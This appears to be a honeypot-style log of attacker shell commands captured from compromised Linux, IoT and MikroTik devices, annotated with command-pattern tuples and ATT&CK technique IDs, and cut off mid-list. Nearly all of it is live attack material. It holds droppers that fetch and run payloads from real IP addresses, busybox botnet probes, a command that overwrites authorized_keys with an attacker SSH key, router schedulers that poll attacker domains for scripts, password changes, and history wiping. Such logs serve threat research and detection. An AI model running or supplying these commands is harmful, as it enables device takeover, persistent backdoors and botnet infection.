cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd;./krane oracle

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209.141.43.118/8UsA.sh; curl -O http://209.141.43.118/8UsA.sh; chmod 777 8UsA.sh; sh 8UsA.sh; tftp 209.141.43.118 -c get t8UsA.sh; chmod 777 t8UsA.sh; sh t8UsA.sh; tftp -r t8UsA2.sh -g 209.141.43.118; chmod 777 t8UsA2.sh; sh t8UsA2.sh; ftpget -v -u anonymous -p anonymous -P 21 209.141.43.118 8UsA1.sh 8UsA1.sh; sh 8UsA1.sh; rm -rf 8UsA.sh t8UsA.sh t8UsA2.sh 8UsA1.sh; rm -rf *

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209.141.43.118/sensi.sh; curl -O http://209.141.43.118/sensi.sh; chmod 777 sensi.sh; sh sensi.sh; tftp 209.141.43.118 -c get sensi.sh; chmod 777 sensi.sh; sh sensi.sh; tftp -r sensi2.sh -g 209.141.43.118; chmod 777 sensi2.sh; sh sensi2.sh; ftpget -v -u anonymous -p anonymous -P 21 209.141.43.118 sensi1.sh sensi1.sh; sh sensi1.sh; rm -rf sensi.sh sensi.sh sensi2.sh sensi1.sh; rm -rf *

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://209.141.42.231/sensi.sh; curl -O http://209.141.42.231/sensi.sh; chmod 777 sensi.sh; sh sensi.sh; tftp 209.141.42.231 -c get sensi.sh; chmod 777 sensi.sh; sh sensi.sh; tftp -r sensi2.sh -g 209.141.42.231; chmod 777 sensi2.sh; sh sensi2.sh; ftpget -v -u anonymous -p anonymous -P 21 209.141.42.231 sensi1.sh sensi1.sh; sh sensi1.sh; rm -rf sensi.sh sensi.sh sensi2.sh sensi1.sh; rm -rf *

('cd || cd || cd || cd || cd ; wget ; curl -O ; chmod sh ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf sh ; rm -rf', 'cd || cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./', 'cd || cd || cd || cd || cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf', 'cd || cd || cd || cd || cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf', 'cd || cd || cd || cd || cd ; wget ; curl -O ; chmod ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf ; rm -rf')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FOBMD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FZQJN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AESZN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EZWRF


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

T1016 System Network Configuration Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UZLOQ


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://159.203.98.173/SnOoPy.sh; chmod 777 *; sh SnOoPy.sh; tftp -g 159.203.98.173 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://20.97.23.106/Sakura.sh; chmod 777 *; sh Sakura.sh; tftp -g 20.97.23.106 -r tftp1.sh; chmod 777 *; sh tftp1.sh; busybox wget http://20.97.23.106/Sakura.sh; chmod 777 *; sh Sakura.sh; rm -rf *.sh; history -c

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://174.138.58.83/Sakura.sh; chmod 777 *; sh Sakura.sh; tftp -g 174.138.58.83 -r tftp1.sh; chmod 777 *; sh tftp1.sh; busybox wget http://174.138.58.83; chmod 777 *; sh Sakura.sh; rm -rf *.sh; history -c

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://66.70.229.154/Sakura.sh; chmod 777 *; sh Sakura.sh; tftp -g 66.70.229.154 -r tftp1.sh; chmod 777 *; sh tftp1.sh; busybox wget http://66.70.229.154/Sakura.sh; chmod 777 *; sh Sakura.sh; rm -rf *.sh; history -c

('sh', 'shell', 'help', 'busybox', 'cd || cd || cd || cd || cd ; wget ; chmod ; sh ; tftp -g -r ; chmod ; sh ; rm -rf ; history -c', 'cd || cd || cd || cd || cd ; wget ; chmod ; sh ; tftp -g -r ; chmod ; sh ; busybox wget ; chmod ; sh ; rm -rf ; history -c', 'cd || cd || cd || cd || cd ; wget ; chmod ; sh ; tftp -g -r ; chmod ; sh ; busybox wget ; chmod ; sh ; rm -rf ; history -c', 'cd || cd || cd || cd || cd ; wget ; chmod ; sh ; tftp -g -r ; chmod ; sh ; busybox wget ; chmod ; sh ; rm -rf ; history -c')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WBFCI

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/e6b7bded-f10e-4311-8806-cd25d194e0bb mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; rm -rf installer.sh; wget http://51.75.170.84/installer.sh; chmod 777 installer.sh; sh installer.sh; rm -rf tftp1.sh; tftp 51.75.170.84 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; rm -rf tftp2.sh; tftp -r tftp2.sh -g 51.75.170.84; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf *

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.175.194.108/sh; curl -O http://107.175.194.108/sh; chmod 777 sh; sh sh; tftp 107.175.194.108 -c get bins.sh; chmod 777 bins.sh; sh bins.sh; tftp -r .sh -g 107.175.194.108; chmod 777 .sh; sh .sh; ftpget -v -u anonymous -p anonymous -P 21 107.175.194.108 .sh .sh; sh .sh; rm -rf sh bins.sh .sh .sh; rm -rf *

('cd || cd || cd || cd || cd ; rm -rf ; wget ; chmod ; sh ; rm -rf ; tftp -c ; chmod ; sh ; rm -rf ; tftp -r -g ; chmod ; sh ; rm -rf', 'cd || cd || cd || cd || cd ; wget ; curl -O ; chmod sh ; sh ; tftp -c ; chmod ; sh ; tftp -r -g ; chmod ; sh ; ftpget -v -u -p -P ; sh ; rm -rf sh ; rm -rf')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QKQXS


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WAEFR


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane oracle

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RHYFX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LSQOF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SCAFV


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/93613c45-bd8e-4773-8fe6-5adc6a4bcf28 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WXAJY

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SPBAE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SDPBT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XVGKL


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://myfrance.xyz/poll/fac39f13-40db-4a0a-83e5-5c81a70d8643 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/636107d1-1ecb-4bc6-b1d7-1330c7c325db mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane oracle

('uname', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YMWTV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ELKJD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HPZNU


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /tmp || cd /var || cd /dev || cd /etc

('start', 'enable', 'config', 'system', 'linuxshell', 'shell', 'sh', 'echo', 'passwd', 'cd || cd || cd || cd', 'cat | more', 'cat | head -n', 'echo')

T1059 Command and Scripting Interpreter
T1531 Account Access Removal
T1083 File and Directory Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GXYYN

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QHEBV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NPEZU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SBNRY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YBANP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VNZJK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DABSF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QNVQN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JXEHB


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane oracle


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YDWAI


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AOKFK


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GCUSM

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XNAKW


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cat /etc/issue; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -q http://31.210.20.48/dirdir000/0s1s12.x86; cat 0s1s12.x86 > z1z2z5a6qw5asda; chmod +x z1z2z5a6qw5asda; ./z1z2z5a6qw5asda Rooted.VPS; history -c


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YNTUL


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ADYHW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ESLOD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WELYX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QUNDF


cat /etc/issue; cd /tmp; rm -rf x86_64; wget http://45.14.149.244/x86_64; chmod 777 x86_64; ./x86_64 x86hxed; echo firewalla1337 & Anarchy were here

('cat ; cd ; rm -rf ; wget ; chmod ; ./ ; echo &',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QSLXP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RDKDY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DQQZG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MGMDC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QYCGL

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HJWXB


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/7c8520a3-9c98-4947-afc0-fd05c5785c5c mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UKZVK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VQQKT


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KJZBD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KCVSG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FTFIM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BWXHG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PURUY


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://bestony.club/poll/ec8348e1-a924-4aaf-b1b4-dd8acf19841a mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm || cd /tmp || cd /var/run || cd /mnt; wget 198.98.56.65/krax || curl -o krax 198.98.56.65/krax; tar xvf krax; cd ._lul; chmod +x *; ./krn; ./krane 123456


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZMMFV

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


('cd || cd || cd || cd || cd ; wget ; curl -O ; chmod ; sh ; rm -rf',)


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ETLSU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZOMPT


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KOIAX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SVIKR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LVXLD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WSKXZ

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BPEPZ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LMGQI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PSXAO


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HVLGQ


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/3820c4aa-4898-4c78-94ea-b857be41cc46 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AQDCD

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UUNTI


/system scheduler add name="U6" interval=10m on-event="/tool fetch url=http://strtbiz.site/poll/4651f52e-b6b7-4c9a-b0a2-4e19be3b71d8 mode=http dst-path=7wmp0b4s.rsc\r\n/import 7wmp0b4s.rsc" policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,write


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane oracle

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget 209.141.58.203/ssh || curl -o ssh 209.141.58.203/ssh; tar xvf ssh; cd .ssh; chmod +x *; ./sshd; ./krane 123456

('uname', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./', 'cd || cd || cd || cd || cd ; wget || curl -o ; cd ; chmod +x ; ./ ; ./')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ONMIB


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZFNRN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox NMVUK

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MSFLD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GUREJ


cd /tmp ; cd /home/$USER ; cd /var/run ; cd /mnt ; cd /root ; cd /

cat /proc/mounts;busybox cat /proc/mounts

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /

cd /tmp || cd $(find / -writable | head -n 1);

('enable', 'system', 'shell', 'sh', 'echo', 'cd ; cd ; cd ; cd ; cd ; cd', 'cat ; busybox cat', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './686840', 'rm', 'rm', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './595936', 'rm', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './812969', 'rm', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './253294', 'rm', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'chmod ; busybox chmod', './624818', 'rm', 'echo -ne >', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne >>', 'echo -ne 